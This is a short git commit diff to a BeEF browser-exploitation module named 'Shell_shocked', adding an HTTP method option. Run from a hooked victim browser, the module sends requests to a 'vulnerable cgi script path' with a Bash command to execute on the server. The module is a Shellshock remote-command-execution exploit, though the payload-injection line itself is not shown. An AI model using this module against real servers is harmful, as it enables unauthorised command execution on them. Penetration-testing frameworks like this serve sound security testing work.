Add HTTP method option

This commit is contained in:
Brendan Coles
2014-10-29 17:53:22 +00:00
parent 53dd7ee5fb
commit e8f5c0d265
2 changed files with 3 additions and 1 deletions

View File

@@ -9,8 +9,9 @@ beef.execute(function () {
try { try {
var target = "<%=@Target%>"; var target = "<%=@Target%>";
var command = "<%=@Bash_Command%>"; var command = "<%=@Bash_Command%>";
var method = "<%=@method%>";
var xhr = new XMLHttpRequest(); var xhr = new XMLHttpRequest();
xhr.open("GET", target, true); xhr.open(method, target, true);
xhr.onload = function () { xhr.onload = function () {
}; };
xhr.onreadystatechange = function () { xhr.onreadystatechange = function () {

View File

@@ -8,6 +8,7 @@ class Shell_shocked < BeEF::Core::Command
def self.options def self.options
return [ return [
{'name' => 'Target', 'description' => 'Vulnerable cgi script path', 'ui_label' => 'Target', 'value' => 'http://127.0.0.1/cgi-bin/test.cgi'}, {'name' => 'Target', 'description' => 'Vulnerable cgi script path', 'ui_label' => 'Target', 'value' => 'http://127.0.0.1/cgi-bin/test.cgi'},
{ 'name' => 'method', 'ui_label' => 'HTTP Method', 'value' => 'GET' },
{'name' => 'Bash_Command', 'description' => 'the command to execute', 'ui_label' => 'Bash Command', 'value' => '/bin/ping -c 3 www.google.it'} {'name' => 'Bash_Command', 'description' => 'the command to execute', 'ui_label' => 'Bash Command', 'value' => '/bin/ping -c 3 www.google.it'}
] ]
end end